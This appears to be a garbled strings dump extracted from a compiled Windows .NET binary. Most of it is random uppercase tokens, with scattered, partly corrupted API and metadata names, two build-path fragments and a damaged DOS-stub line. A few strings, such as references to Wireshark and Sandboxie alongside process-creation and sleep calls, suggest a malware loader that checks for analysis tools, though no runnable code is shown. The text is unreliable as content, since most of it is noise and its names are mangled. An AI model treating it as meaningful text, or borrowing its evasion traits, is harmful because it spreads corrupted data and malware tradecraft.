ITHMBMINSFAP
LlFD
GCGKF
XHTN[EJR
LWECRRYAKF
M SQ
GLAERWIEY
garMLkaatikh
ESGIUX
" (m;
ZWFUU
FYARXQTS
LLMBONWDNAZ
EVDQRB
PSZNORJJI
HXEML
DRXQHSNAZNG
RMHIWKBQEVGO
>!w*
ZLKBJDGBBIH
MPJUEVNRFEN
[OJGYP
CultureInfm
FXTQBEZYBIYJ
EFBJBHTULQRU
VZACRVVWMDJ
XDIGMBYTXOKF
HVQYGTQIXDUM
GZH\TQK\ZTZA
VXTUNMFQV
;?uO
y_^]
g\Bt@@
U\\SSEA
FBPOOPQEK
BFWn=
KETBSJSUNI
xq)b
E US
NUIHHRBCKCEL
FFLFW@V[H
DRDRKMVO
FD\M
AGSWO
YEENVYXKSEP
MRUJLO
@|y9
YKAEHJONRYOV
5mXq
`!Bd
PPTJVDZVEWFJ
MFGJOQMJB
TFHWMLH
XIBICZZWKOT
EEVYUCMMBYKF
W)nj c
AVNLDNDXXR
> (v
sn
k#>AQ
QTGZDIEJYA
LS&U
SecurityAction
HFRSPBPU
YSYZXJCWUNFO
MGTKETAFBX
FARWYDTGBGMV
IVFHANTJGUJA
TsF!
FZZAUKJ
ZIBSSCRDDILA
__B'
f9 t
L@MOKMII
IBDZTBYNLDD
1iuD5M
_^@[
KLQCUILDSLF
F[PKPSCDNWN
HSDLURUDIRP
APXFEEVIFL
"x86
VWWTRJKYYYH
PkknterToLinenumbers
KIDGBIVPK
revh
GKGBTSSPMRKI
GJ]TGFFKDEK
PQZUJCYPZOVI
HUCHNDYX
KMWMTNIG
ZIUYJVGPSYQC
;LU
ACDEMZSJAJOU
UzN;
ILMIF[_N
PMBHL^
YMYLQB
RJLWDCWWGLYQ
GVFFWQ
PTKKDBNAGBC
NTPFRVTQFTDO
|c9l
Sysra
KZSNZKMSDB
ZST@ZZY@[UYG
THSILE
GSGWMTQCWZTG
Z^sr
LXSJAGJJ
MMHCCYCL
ZYAUVCFCVG
D\NQSNFSRT
KVFECMITD
YZLKWADWSZ
kg*]i
WXRGYS
System.Net
EJIMIZGF
YIYHHKVFYJA
NOUKMGC
XeKH
DPFOQGXH
TW[@\UFIAGJ
ZPUSQ
AddrOfPinnedObjeav
HHBZBVGYKIJM
Hj0VU
DEKCNOYOPHXF
UYSEYYNNU
<ju@
VHHKDW
JPFZUOVOHURF
TQCVBWFZ
YIOGDDCCVDO
[LLC[GUHBWL
EFYOUN
OQLNBPHEBWOM
LQVQMQFKBVMB
InvokeMembef
Tj)j
VGESMAKX
KPNICRYJ
WCFCF^K_ZQKQ
KOCID
BGS8e
OVZLMTC
AJPWRUBT
T{9*M
KQLSUSSDSYSC
IUGO\ICKMCLN
KJXWY^S]EGSZ
EYRMOWFWOYPQ
BCOPBJMW
UEFDFXJRABZ
C>^Users\zeros\OneDrkrs\@mcumgldqXTisual Studio 2017NR`mngctsHG~awqicRefud\ClassLibrsrk1Xmbj\Razgeqe\graznataguz.pdb
UQZXTJUBEF
ZAHIUYFPJN
ZQEFZCIWGHC
PJMZNLOZ
WIAIKRGPZ
ZMYGT
GADOEUSUQJIO
q_gqum
JLQDAERIRXSR
OLUMKELTFH
XHAWSDZB
YZFCORS
YYLTM
QELNPMDM
HJPLPWDNMAT
SBGTGYUX
C\XOXVTTNY\A
OWVJDDQU
v2.0.50727
\=| Q
JIJITDYDLT
LLMZAHQWH@MN
PWCAR
FQJB
y A$
RVFSMYI
RunLib
VKURKRHJ
O@REQQTYWVNJ
DVCBZTUAEN
<ou\
HFOMLWMQWRWX
PIAQTBYJVZZJ
PRWCWUR
ZAPCPTVSK
UTWQSLWCZL
DSSJRKLKVK
OTISVQ@R[
PMZNGPJIXCRZ
FPBOEKWKRHXY
K]TIQBNURPYA
RXQCZDZ
EASIQXAEMC
o=Qn
kernel32.dll
AHTXEPIC
WRGCWKCQKMB
EZSTUUZH]YHI
\A$n
IRVEZVLIHDEW
_P$?!
t}j]P
DataOffswv
OPDVLKQWU
SYMBHITQ
<9]0
MessageBoxButtonq
FYUHXWMGZDSM
UTALJNHODI
JSQXAUGZLCI
PUCJKFP^VGKO
KTZSZGEFKF
OJKMLN
J=m<
RWV9B
PBVAUFK
YUZTMYZ
FEFRWNU
WJAM_SR
CAZEHPSSLTAX
NKZZZR
sbBM
JLRZFLM
GPAKOJCOJKMX
YYSQHNOVNIRI
EMROG
XL,@YL.
CNEXQUMOHF
MXIPSAIBQHE
V@LKRG@KMLUM
EX6c
KYCGTAFHQLR
SegGs
OZSROIT
GGVBZMJUQIYC
HQWDEWKIOYCI
CWBJCDHGJEO
WHKVEBWQLE
BMNWIAXBLEN
MTSCMDCIZB
UYRJGDKSC
MpenWuvIa{
MMNMFNGI
t. E!
jshoV
BR]M]QS@NRKK
WK-U
RuntimeTipqHeldle
S`kE
BSBSUH
MBC*
HKKCZYZN
LRDAOINE
HZRMAWRWD
ZHDXXFH
CWWRENDKRWSQOE
SQIVYB
MSKVBIFJ
YXXNOUKYP
waw<u
BATODHTAFDRE
UBGYKXLIXZZ
WRMIAUS
VWMKLSSMKKPP
ICEPDMMHGPO
Syatwm*Puntiis,MlteropServices
WQNW[QZHQE
M QVRW
IDUWOR
GFIZNZGRQQ
@yte
FGZPPSTWE
OERCYVFXG
VIPOZOREJOKC
SOGOVQOAHJZ
u ?\
PJPUCNHGASJG
TWENQEGVYJ]@
ADTTZ
beD,$*
XTSQGO
WDPW
nF
f\lD
'Z#=
XGDDL
LWFNPUPLKOK
DNRGM
w 9H
WI*l
UAABHLTCU[MR
SPPBEYRIHSZM
YTMGQYA
w 8\0
BEOOZC
NPCI^WEB@WCJ
NXTEVOVCSJXA
YJ,VYL.
GTLMRUSDI
VEPFTQUGWSFI
AWSFNZHQUYY
</t
DFUSWKISNDWS
BHSTDD
RCHQMK@AHFWQ
OWHJSCGTZF\
ELTHVDKHHJ[K
HQZUQMSHSRD
YKPFALWOALDS
MRREIKJQQRCO
>F\t
VI+M
KADMPZMCXL
QHVRMBKEAC
QXTL@
BNOCBPCXXCZU
AUJOAQPQXE
NVKEJDNAR
SQ\PFTSZLU
KBOPOKSUOLU
#'Z4_2-u
FACVFVJS
CurvslpWser
XTXZZJQA
>YEE
RBNLUBUGVRA
WCPYYTTSGBTX
PKHIMXUMGK
RNNQTXNQIUUP
NLRIXUMI
IMXARQMSMR
ROWFQMXKO
W?1!
JBTZZKSSAMM
N`QW
OASRHBBJKX
ZFCEXPZK
FQNCL
COPWPDROPD
JORNDEP^ZH
SBIBVVJLJW
TQSSRJRIJPIE
(`r~i
JERWJFMTSDPN
LVJENJSQIQ
NCWNZNHGFOEM
ORDOVWCT
JUYMIQ
GMNOIVMECBCN
QAWRUX
KWJWU
ELDCQZVPR
GYTYIHWRELM
MSECJGIWTKGG
WLAIZXACQB
Br 3
DUGJF
DMLUGDV
TpocessThreadCollecpm{n
AGEPSVHBU
ZKXZVWTGCY
U Q@
JINVAOJUOBWF
RTMEPGIAAXVZ
RFNYDQELM
JQUDWP]H
YTQCHE
DELTO
VLBFIQBUAHX
WVOQNOYMXP
4]Z1
KJQZUEKQES
UH.'YL.
k)iV,
RBKHTSWCQCXK
QPOXMV
QSKLVTLTKHD
QPMLIRKWLPJN
~ aPMp
XBZPULCYBDZY
YF&(
JQMYUBFXY
TWGJSUYUXRGR
RARRHAUEH
STCREQHIDW
PVIRKCVHUF
BVRGIBSYRTPN
MJSZM
nfVWRS
ACETHQHZET
THILSZF
MQTBEXXASYEM
PSXQYAG
DWireshark
HvPS
WLNPRJLBX
JWFBJBVTQ
[gpjodInfo
{/FA
JUOMEBZCT
AnevateProcess
RATIEGKTWYL
YBQQQEG
IUTXV
@hvgad
CPJEAC
VWSEKWQW^
IXPADZIOOJQ
PGLFLWGGBR
U_MNPEXASJ
VXIXPQTLLHJZ
get__g
a`G8
KTEQC
AUZWACSAMZV
MSM[IN
VKHHMADP
OVPVENWHG
LTXTBKDNWW
LVRJY
FloatSave
UIONIPDPRFNJ
KAAOFXZBDZV
VH,nXK-
SpeciqlRohfer
?/sx
boR^
AUEYXJCCJX
CVACGBL
PYCRQIDTWLKM
oxIV
N_{:
XCKQYTICQZLY
PB$#YK-
HOICZQDCWJBL
ZTTPYBIFBDJA
ZRFYO@@W
lpAtpxigctionName
C:\fff\vegan\EKYBMN\EKYBMN.exeSICMAYO.pdb
HDPFICWFURMU
CTOXIW
PQQLKOZPCBHZ
REJGHTOLSTJ
JBQUJJYWMWNE
MGZGEDTQWUL
eVgsul`
QGOUBDS
ZBDEQBILFJ
QIDCNDVEP
mCqT
JMYZZFBJFRF
FLPRFQW
RCZCEKNHYBGR
BSVEPKJAGGO
PQCCCFXTB
QRTBFQWGIPCS
BWWZDLK
GTGMZWT
IVHQKT@OYK
ARHQBSXJMCOC
GWNCLNOPAM
ZCZDI
tG8eD
CZQIH
DMZDSFKP
HNGXRQVJRFJ
3/|U
BARV]RRQXLFJ
CYMPPYYNRAOB
ORBWFIUYEVYA
C[UDPYJA
FJTLCOCDSOUL
TTGFYJCOO
Q q:B
RHIFCULBIV
FIALTHRPNNIE
OHYPGDD
LJUDTNBOJES
YCKIWYZBOOTK
YXLKRZJK
5--
E36gR
AEXFXOHRAO
JJSHOJHAGRAM
DVEET
INEFXGUTSYPV
CJWGSFHWEAC
DSNDHLYGE
HPAKXHQMRCUA
NQDZSHOU
WXTFSNNBUORI
Vj,j
a@c
ANC|
bInhgpyvLcndlw
WAVSVRNCI
JPNJMZSAVKJF
JGDXIWUEBFKW
CZGCMMFZWRQ
1n"W
?+Tt
gvczna.Vdotgrties
Sleep
ZMAAZJZ
WJZFMP
FRCXOZLFN
MMSFTMLCSTGZ
OQJZMIU]P\QW
VANAWCDP^W
SSPD
PQKFGNM@URQ
Wyd|.
%3=[4A:?
AguDhcgs
X:r;
VVPKUO
ZDSZHLMWBHBJ
AEJZPX@XJ
PMNKHVZXGDAX
AMONM
RAXZRZVBTIRU.resources
GetBytes
UFBQH
< p
GAAWCZKIJ
Cook{lEae
HJHUKP
RGNLHE
WJMQULSVXDFG
@M`e,|
UEYDRVWQIJ
VDCNFVLWGO
AMZLG
jThread
PCZNOR
VFJIOXIN@]YR
HFTGQUR
N^DCIRVABFVL
HNEKNXO
NQKINBGPQV\
IUEFZCZWFWPA
SRATWJDCELVR
PSKSR^NBJFY
ZDACIMDB
VHXMXCKUJH
OCOOBFHUIIIZ
!8iUu
!This pdoureo cannot be run in DOS mode,
UKGCFPNPEHNU
F^K
ISZRTYBXS
(OT{
\3/{
r L
ONUUTAJIP[J\
F^[
VMQZOSXT
}@rx
ZMNAALMCDW
BJSGNJAUE
WERTYD
DANJYBSONK
UIX]QO@HNUTG
NRQNBLBMNHLZ
hD{9
PAML_R]
HRQEYIWT\
WXHNDCFVKZ
GZLWGDYKZH
GGKMK
MHZAYNRNIUVO
cdef
GIHZI
CQXDLOKXPEDO
c1 $
EHWAAV
NKG\F@JLAQU
RTHDSQPKPAIL
VNOJXXNDPH
WVOOHYBBA
e`+W
FPVJVHOBDWXP
RYIVPFQPKA
UPKYFYO
M WW
ESKXTORPISTB
KO@CERBPSJI
BLPBDNPKQV
ZDGFMODSP
POGIAXXDA
CZTHYBFBQC
FGQNJIZO
DGQWTLOZZ
PISPBZC
T@ZBHZ
c)a
UKCCXTRLINNQ
BUFSYUJXKQAF
FhnCharacteristics
MSJPCMNRVKT
Vj j
EMJJOWXWJQAB
RvmcessPers
UCWAOYHZN
XMLN_NJLMIB
PMBQYXYJOOJ
ZNj`
kednwn70.dll
k$[a
EJEKUXQQ\ITW
FGZUTDHLATO
DWSIELJU
GXHHLXSYJ
gVOJrQ
rq>V
KEJXEUPPKNV
R\U[F^MBZFXA
OPLJYQYBNALW
XNVLRFOUWNQ
,n%b
LREAFSHQKDIC
EEWKWECM
HCURLPNKYO
Q\S_QESFJ
YHXBZXWY
PEGQHPXXPYZ
PTSFYQIH
AVPLKTJPUTTD
PZBZCSXQCVDR
WTFSMFTQPWIM
REESFAANAO
Jtv4
225!
YPSGNZNS
SYVHNECDQ
MPTSDD[S@HPX
FGFDSSTR
33!5b
EWGMFHBMV
AK^GV@WNHZG
u*}5u
KCPBAZYKFMYQ
BSWNOO
DRFWSDFAOQAS
CENKELS
\2h#W
* (
+|8
LBKICGZWA
NIDTGMXVVERD
WMMHPD
EMBXUSOM
PSGGDFTEB
DGOAELUUMOBI
%"^
ZYTGS@]DBZN
Vj WV
HDQB@DG
[PZIZHEXQN
KZPOVNMDYCFO
VTFODNC
AXGNXWFFITH
XARJGR
CMCFFGNAIJK
;~ r
Ci\)
FRZPMYHNQTQJ
SecurityAcbi}l
T/U(j
UI,W
lpYovwhgName
JSCGRIHA
PRKDZI
Schp
HWMHVRTT
hvfm
FSNNNSBQFT
Mn}c
IJRWN
jxjpV
FYAVKVGJZQWQ
mdkcknal
BQBSNQBCZ
CNFTQZDGPKU
MYKVSZBO
IPCUSZ
QYDYND
RCIXWRMWTKA
PKMYTWE
IMPERS[NEVE
"` uX
KTSDKOULNE
TCLBIFVU
]S[TAADT
CVTKSFNCMXKT
XKTY@JMLP
YQJDQJQ
CBJJBIA
VIBTQTJNGFFA
TUDISUBHUGA
KAOLODGMHS
HZFLNKWOBU
$rN{
GhvI
ONH@_BOXGDGT
klmn
YBCAJNZNKCD
T\[SIBHAQC
TAVWOZCML
NCRCZVLTD
ZGVDMNTJB
AWBGR
RKVZBXYDCUQ
ZTEFSXZRO
FJUPWASUDFTC
@OYMG
@Tv.
TEIGKEF
DSandboxie
YICMMUJMBCTI
W]VIYEV
FSMSHKRNGZ
GYWRCRRWFKF
get_Name
>/Task>
X\IUGFYVXNQ
UBQFOTSJZZJ
GMEBTRASOEHZ
USSTFCJXWFCB
TKHBHFQ
HEWNSGCC
AQEAAUDMC
GYLZKLV
IMUBYLDMMZ
SXAMREOZOAAW
QFXOXLFJNO
FFGGGWJKWLYL
B0V7
ASCIBNGZQPR
AELACVX
VI)8XK-
JLQVSXDTGS
EMOQC
PGGUXXUFF[
FIWPWLSWDMGF
SG*+
&=g:
FFJGQ[E
AYTHBJPRXAUM
]e~Ix
AffbewqOfEntryPoint
j,VW
HVRBYWT]SCWO
QmxeOfStackReserve
[_^]
v;WV
HYAZCYT
QMUNB
XQQOV
TOHBRYZMRFKV
WWFYBSHIFKPX
QXPULWXP
YTSXEBRN
NBBHNLON
exa`cpgd
UNZHXPBFGL
PUSLIPBX
GJWVLVTUJ
^ZGHAG
=sNH~
VASR
RPOCATOQJHQ
PJKNQAX
QYRWY
XUDTQLQBJFU
UTOQECLMV
e_aq
q _^3
DQZFWDGURGUT
RCOKD
ZKFMT
n4[^
CPPWZALLDZ
TVxRf
JTBFRXTQXIJS
ILXCMCSYGYUG
[p h
YYVPFMBHI
ZGSYV
YOUAIGOCY
RXXCFMG
& ?DR
E ;G t
DCVZHRA
WJ,LshN
HACPITOKD
4$,iI
WrivwAhnText
0{,k
UXVPUR
GSDOJPKLEOF
~hWS
QASGMQZCNRYF
ASIZWXMVL
0_^[
VWMEDOSSQD
TRU@HNOQEOUN
EOVMOQPZ
OYbn
0_^I
MLA@BFWOM
UBAZDHF
QJAQKAGIKMGN
IKUVONBNK
ZHLDLJPMPCH
on.df
GDGPUXW
YJVXHUHUHDJI
QGUKYZZLPRE
DGKWDIYDPCP
get_Default
Dj l
Rkc@
KYAXDZ
HVHGYRRFZVFO
OMZVOLBEVYB
ACKYNYKI
SEKFQWXWIAQS
KRRXHAMIAZYO
GJILBQW
WZEFMTQEXO
DZLBFDJCZ
XWXDJXENFJOG
LCCRSNGOBB]A
KDPNXJCCWGT
a -H
XJ+kXK,
FileHccrgv
RECOMWNUH
OFIVX
SET_INFORMADI[N
UPCJPDTJR
QGACYXVGRV
KVNFD
ZMWRVNSNQCRS
LPWBDHYJIFEK
VDMAI
:1
~&/)
IFJZBKN
TABAAJGRB
BJQRE
VI+p
WWAGXVVSM
VF)>ncH
TE(F`T4
Regex
PNUAGUUYNA
PHWQP
p A
RUKVQAUKL
HXBCFWPP
*8^ Bda
T$vU
LKGJTDRYUM
FYVJRRXSSR
opica
9B]g
\JWRH
CiI,
VUJIHGLXPVA
XAJX^
FRDYAUOYWKKL
WrapN{lUxggptionThrows
PHKWRAD
JNBXQCBKNPZD
SFDXIODKDHMV
XK,Q
MZSVCOHPVTV
YPBRDNARH
AKTVMPJUURCX
u ;X
GAYAMHHYSHLX
HSTKUFO\QH
ZEGJC
DREVXQX
wBkh
F Pd
SLANPGTIXEYC
BZJCGHJXHP
EPLMLCSIC
ZaQS
VLBRULFGXGR
EFGZ
AFEMFIN
JEFLJLWLQI
RJCOETDIEUZ
COZCFRIDKJJQ
FYFLVP
=n1tQ9
tJ#)3
ZWUITQJOBJHC
DEF_GYCBJOWT
IVQDWEL
UUCYDCMUEPW
OXPINOQUN
ZSACN
FRZITJFBKKD
RVLOXXV
K|Zn
NLMWAOJE
AWTRLCTYMTB
EUPYHXJFQ
PFXUCYRCR
I;n(
\;6m7
t zID
HZWOVORRJAV
d&x8Io
89^n
QWSBSNJAGLBC
IHZZSPAPH
ULNHQ
MIFRGPFZSH
GZMBRTORQGC
AHRSWNE
,^*i
WOCVGMGFCUJ
ERQWNUMMRCKX
SVPLUMCVB
YFOMLH
f|"#d
ZRm|
QFXMCVJP
JQUHBSDQCZ
PAWTQ
navobjggd
| ?S
UZKCYOSXD
WIY_AA
ZRSJRGSWSTXS
MSIZWDKVTSJX
Spl}p
TTMOUIPGNWYI
SRJYQUNFB
[]XORBVLCJ
@VLCw
RWTWj?
ETCFPJW
FTNPPDBO
HCYGNLOXONYV
KMMGCPYHCX
QDDKZWN
IZXRQ
*P[(
BQDRSHNK
CRWQEHAO
OUAGC
NLJFPES
RTYJPQSZERM
@UBIYS
PMGJWOOK
ABFSKHVWLZ
BJKYNGUID
CreateInstance
GqtAtvkng
MHTHDTSVAU
Y VWh
GHVRSBLDLTKM
QEGXREDLQTG
YJ,V
PQET
WNBLZJFRIXR
UPDSYMCIAKBQ
UKAWMNQTHAD
h]@sxoU
MFCPMSMHB
SNYLB
WOUFKM
QQQMMKGSEQQ
WGYLQFKBHQXN
NGSQVBHU
<e b
hmq`
HLVPJKIOLPZ
CWDNCIKIOJOE
NZOFSU
VSAWWHC
F'=x
LKURLNB
][EMHHOLPHF
Wn=V
KUJNQGGWKMOP
IXSPJNJCCPXC
SBOHHLSDJUEB
|,M$
RPTWFQGRZZX
SetAttribufgc
get_EntryPoint
WBOZJCWIJ
DVSEFBVV
UDHKDZRX
QJBGXTEGELK
w ;P
ZQYRPAGN
XMYHDGDX
CJCYIGDBX
TVCUWMHJXXHN
UCMNYCIV
ZQVHLB
MHPIMGNKBCZJ
DZVISNPHRVVW
KRWFHZUKZI\
MZNOMRCGI
System*Wqcqpity
==g[qq8O
MZMFNDUTVKFM
XK*NYL.
FUQGKPZSIODD
VulqgType
KESBB
IGWAAQPP@COD
]dAK
QYWZRCRWCV
AssemblyDescriptionAttribute
VVCBPN
XXDGN
LYLUGPEDZHES
VBTATEDBDKGI
2FPC
HVFTHSIPH
|N B1w
IJOGRFCUG
LZNMICN
VGWEZCWG
GXMZQDKWELK
a]res1
KPMBEOXJYMCO
GQNTJYHBUNRJ
SAIBPPIZKF
ATINZUGSLCOA
YSDEYJFHNRR
CPAJFLD
WQLUQAIUEAOT
HUJDQGMMPLJW
ACREBVYYUOXL
@AWR
LNTBFWJAUZS
ZXAPDKINFLVS
Tj3j
AAAVIQJ
SJZTAE
ONYURRC
processInformwt}ojNeng`n
YEYGTQPZJVZR
YZDBC
TPRTJCPKH
QOKFNGOCMV
RWMUGYCER
VCTXWIC
{|o~
IOHWSBUGQF
NDVSVTFIWAFN
AVZPEGXYQN
kxPXbQ;
FQIDCEAPQY
NTKBWEMEUS
RCKNYTKQCMKC
VKXNQYD
URTYCR
BJQGOOKYKW
[_3
XGGOEEOH
kdM-
DllImporpGftvkbute
GLSQBNATP
9J@8
LYROHOVGD
BUSno
WVDBRSYFI
QUKVW
OCAURYGQC\C
ALJWCGKVLDS
/)'
RSSQQCQW
AuvF{tes
MXQDAYKDKYPX
VK,sYL.
VUVVMHNI
GYESCXIAIR
SMZQNSP
PRIYHZTHXC
@GGG[MSASOV
WEVTFVWOSPJI
QMDDTHQ
MMZXCQQQTGXT
HP\SU@PIJG
SJAWMKYDGAT
YMVRFUPKSEL
DJbn 7|W
-8o)D
HRPOWEMSSQH
TBRIVJZMCP
ENRIPVAJDVI
ZRECBHCVU
\FRLCHXUSWEO
BEWLJGJQXY
CSVA_
KUFEDQEVWI
%uNc
YX^EVL[JXHF
FFIVEVHBKSQ
VJGYGAD
MMXMFEGAJCB
?gbX
WPBJUHGTI
ZAXCSLENFOW
",:u
ParameterInfo
RNWUV
SSSPQV
ECEATWWZ
KBSOVOMLP@S
XKMDKQH
RCIEOPVR
ZB[R@
KREZSRVDF
EMW^XH^EGD
RXT@OFYS
RHWNWCNEGRAM
MPPPDQFHFDOQ
navmfg
QOKZFKSDYUOY
^_[]
HLLXUOOFH
ZXIFZ
ZLJXW@YC
NFZZCHQSMB
SVQYIDRLLZ
EBLVSEGUT
dwVgakvgdAcqges
UIJCN
CQQWJKQBBPZ
Enu{
=yZPeAhm
GVQOU
DBKEBUHUHYN
PO]KBREGOPQH
MRAX@UK\
BECFMF
b9?2
SIOCVGQYOOHI
q)b'Z
A[CIH@VRWNXH
RDSW
get_Length
RCVECLCACPHA
ZBWA_SPJP
CEXFJCBNGSEA
l)TL
SCJHMXCSTCNR
PFOSFEBREVAF
WCISM_
UFKMYCQSTVME
IJEOZBC
EEUWSBGUFYIY
NDITEN
FHKSG
DDCTWXCTDLDN
EZUWMQBEHN
LEHDQPJQFAUU
EGACFXWMER
YZRYKEATREDG
WAIFIOF
ITYOYUTMAB
HLAHTIVMA
h(hDP
LVROPTEGTKX
E v@
GZpj
RMGARVTOPJ
JELHDICD
LHRBKM]QHDN
VSPXHFBSIBIT
HGZCN
iP"oY
System.Runtime.CompilerServices
NSMTFAYHQPE
GISDNTCJDPTM
WSPQXEOJYKN
HQCPCYFASB
PVZBIGSZDY
n j
0.0.2.3
QPOZXOGVO_E@
QXMYAZIYXJI
RPQV
EZYNOWNXILB
ASYTOFLDSZ
, &
=RTfS
TEZPJSWK\K
KNHUIZRTVU
QVW3
BWBPKBUIIEQ
XODPH
CZHK\BAFPMX
OKWEOHQDZHIN
BJJEZSBCLNB
XxpK
Vj j
QRFHQLQFD
PGIDPPLBQYM
86h) m
VKUPJVCFQJG
JHOZNAE
PNVYP\IKC
WMHJGAROLC
#Qpbkjes
HGWNOSBQ
QVWh
WIXLXZPITWML
OHFJJNMM@QT
EMXBMIMVHSQ
DOATYINRABR
WDVJFSORDWG\
XMROPJRYPUIH
GetVujcg
j=VC
GQMZZTIY
name
FTIHKQTUA
G9?"W
QVWA
XMJUISIFWVE
XPEHSASOLQCC
RFSYGSEWYEW
BPWGEUSR
cB@?
UI$*XK-
IUS@WA@NEX
TQCAFBHTVRN
OXDVTHNAR
QQYCTFBBNUCC
IFPMORP
DABOZOGBO
u Pfw
e_maxalloc
QDVXIUPM
*RcV
RDMGGSS_]NTMVOATION
PIMKACUAUTIC
YUKKKJDIAPJ
FXOOF
UTFP^AEPTCY
2!;"
EIOIWFQFPLN
hYthA
MCFNMT
ZZVORGZB
SWVPXTZZER
PWQf
E W@R
RFVLIWKDISP
MHRz.`C
WNQCMKYD
GetWh`p}Cssembly
OPZVHMXR
XXUB]
_^3
SLWXUAITECA
o`P&
y{.=z1=
M RPQ
VUEWCWXP\S
FUNBHTCZKNM
EDAYBTSZBVVK
OZUAKY
BFHHFDOBSLGI
RKRWIXJ
UBIYS
UKBPLQFJAYX
IVEFD^BHTOL
CJFIIKM
TRXATQ
u2+] u)
AQDGXIREW
LGGLKWJZYLOW
IJLXWLQXYY
HZCKVU
QJJNPFVVNGRH
Q=C^
ORIWRMJBELH
GPRVVR
KUSXXWURMC
GJHEQPTSYMFN
OYPSQWPQILT
S{~qObJeapVacevte
CHQTSZCOHS
OGYXI
iJb
FXNXCGHW
O{V0
ORWEQWHX
FFXWSODFA
FXIZPFMBEG
KGWBJJYWIGL
TZMNIKFNSHU
FUIOPTQ^
XKVSEXIXJ
U W@
F0_^
EITHZWUUL
_Cop@zlIcin
tSLH ?
KAPWDJPZWYLX
JKBUPPLIVV]Z
DGUIUJFJVLXQ
Environmelv
TGVQE
~]YL
h'US
U^FKLRUQFF\
ACLUORGB
LE `
UDWNHMMJ
NNUKVNRJLTOM
OYJWP
GF]DSTZW
LGNOJFZPI
JRTCQK
HNSJJRDCBWCX
I! x7=
HAYRYEKHMZJ
KYQOYPHOQKC
;=g
KOPQDPGIPZ
96< (
PLXLWBJRL
]NCFWOYH\
CLZTWEJOVQM
FLPKLGFEFAG
vzH^
JMUMDWEECFZQ
EUFOYEO
QCIZAF@^UEIG
NSXQYMAVHC
EBRDUKYRAMIL
KVAHFF
DEESBNHIXOUO
HULRMXK
Cr0NpxState
SVKTYSBLLJU
LREPEDYDOI
~aI&w8
BMTKLOM
DTICYIZPRU@X
FCGCUTQC
# r; d3 8Y 72
toc1
SKMUGVIV
SFKKYJCCMVQI
EC_PHERAEP
97%
MOASG
Yv^{i
OBXDIPXITMSH
3)[U
XEWRNV
YHDVSPTP
HFEDPETBTKUT
Byte
GQHVH
&rL
)qhv
BRKAMGXVEUDE
5 ~Ql
pa?y
L(S9
H(WQS
|Z}JU
HRNUXAL
HVZGAYCT
SRGJMYNBZC
j!VW
UWHVH]SIIGW
Tj1j
QYGIAXOOUVB
w O^7
QSNLKN
NDWVUBAFVNI
MXMEFZPIDMZ
JPDICUBOAI
ZBIPEIXLSUS
TCRUP
TFDYU
W^EEVWX\@BOL
MRBTDNTSLW\L
NETWDRCBJZBT
rRc$
HJRTAYAS
IGEHBEZNYLYC
FDABU
BMJLCDEUY
FZSFMVRKRAS
VDYPXMJQE
HJZMYGD
1xJSV
!XK-
E RVPA
FVRDDOHONSAD
EMJEHPRS
XQUSAQABX
CXBBIJVGNDN
XOXUWDOWMEV
FWUL]VANMB
LKHKS
F@]^
ASDMHCEFZORX
VNWQLSBGGG
GJBNUWXFTHUP
NICZG
TMKVFLHXYH
ABEFK
ChegkGwi
FFEINTJV
RKUQBTJEPCKN
[uXwhnOrEivfy
JRZLTPHQLJCY
PFSSIDRKOEUA
WJHVHGMJSBVC
ZWEWEQNVSHD
x}rj
RIRPHFJIMYD
JIKDHQ
LOJBFQDYMLX
HVOBUHJJHZPL
AIRHBRTBYYD
ZLYEMPEFQKA
VYSAJQFVCDZ
LGEEOQFNZTLZ
FXECRFBIQJKO
@JMHSTFM
>pE8
AXAJUFLQUXDS
XNJTFUJQW
LONCAA@DXOJ
QRXVSKLG
SJLNLHWSLXUK
JFWQGOXV
SVMGB]M@ES
ITTYRUFRGDUQ
P^JHJ
AAHVYRI[[STE
FTPQDUUBXQK
CCSVOXBRZOD
TNAHIKYIMBJD
CZEPFWXEJVI
CQTKLRS
MDSNEHSFUIRX
C]^]
XNOLLUADMN
KEKRZ^A
BNFBFEKZR
AHLQSXOBZMO
FXNA]N^JHQB
UCPECRFYYFVL
VMNEUMCEVPK
CDPZXBDXFD
OPNEGJDDUUHK
UMAZZXVIZNG
2jjE
VSWLKSQYR
MUGHZCTPXDRZ
PK(3XJ,
FJVWQFUXHPK
RXJQYLCICFIU
RXKCUI
YBUHKPXGTP
BHPDMPL^CVXS
AFJSHBYNFTDW
HWNMWEPCA
ikl.
ZWNMWCQRKSY
CREVTCPEFEOB
MI I
|al8
AQQCMNFVICL
WDOHZAUMIY
lpProcessIndk`oevion
GYPKWFIR
WXEWGYJ
NNYCNHQCQKFE
IUXECESFSMEM
HWIUXZLAUM
CHBUY
[NK1>
V ~mk(
Cjh1
\u[U
IDGFSRYCWNH
GJDMCTRQREJ
DKECI
YPBJEPPEZFTZ
UTSRTXQXMMB
MDMIRGKKQS
CZDUWXJYYUFY
SizeOfRawFg`c
DFGCSRIAHFY
WPXPDDL
VLKXESVBRRXS
ZCWFUCJ
U@YQCMVQR
WLJNHPXFBT
THWCT[CWGES
a+9I
WOZEOOC
SMRYOPUFPKV
LNIYMUTDYHYK
JVGRVJ
1gj'
w ;H
MJGJZWZRV
^_MIDXFMN
x<se
AURHLPKNEPK
jsjyP
SXNINJKDW
4567
CESZWQMQ
KONVDEL
SRAQWDPIDR
D @v
2 +G
NGDIOWMC
6G{V
WUGPCMMPVM
f99t
PTLROVMJNS]P
MRTBFKNGQO
EWJYQHSRAC
TMCPLIUFATTI
\NWKCTI[
CssemblyDescriptio|Cbtvkbutg
YMMSBS
LRIALGFZRGQQ
CRJHJUUYKC
XDKNGIDQYJPY
MBADGCUNHD
BNFBIPCF
vUW3
] W3
FCSKFDWHB
SECUGTSZPY
GWWJKORGM[V
NGMGR[PZWJTG
IEBZNTKLJZVW
FUIPTKYHDSIT
XWMIJPWOGCG
n o[F>
ANGEJOTLAZ
KGLXOUJB
PDWZYCRBUCH_
r;YS
AssemblyProductAttribute
NPZZVUOWOK
TEKCBZICFFTQ
RqlNt
LMXKBIPV
JPVXOMZVRTM
BSUXBAR
KXs`
UCGRQEH
WOZXIMZWRTA
OIMVRLHBRNNL
be8B>VAy
GRPPW
UENZAIJVYP
LHHABBMATIH
QTWZMUOT
Tculb
ATCVA
UCVIUWNCW
UEEJDVFDHR
Pj@jdWS
'"N(w
XSTHCOJVQ
UG*H[I$
4z26
WKCWPBRZHBZC
KZMQMYWGABID
CCVPURYTPCSZ
KXVEON
SZMSJPWHOOOK
TIAOOXWRNQDR
M dv
PRFXIT@B]V
MZJVXQMCP
A[ZPLCHJIMDS
DNNASJMRMQT
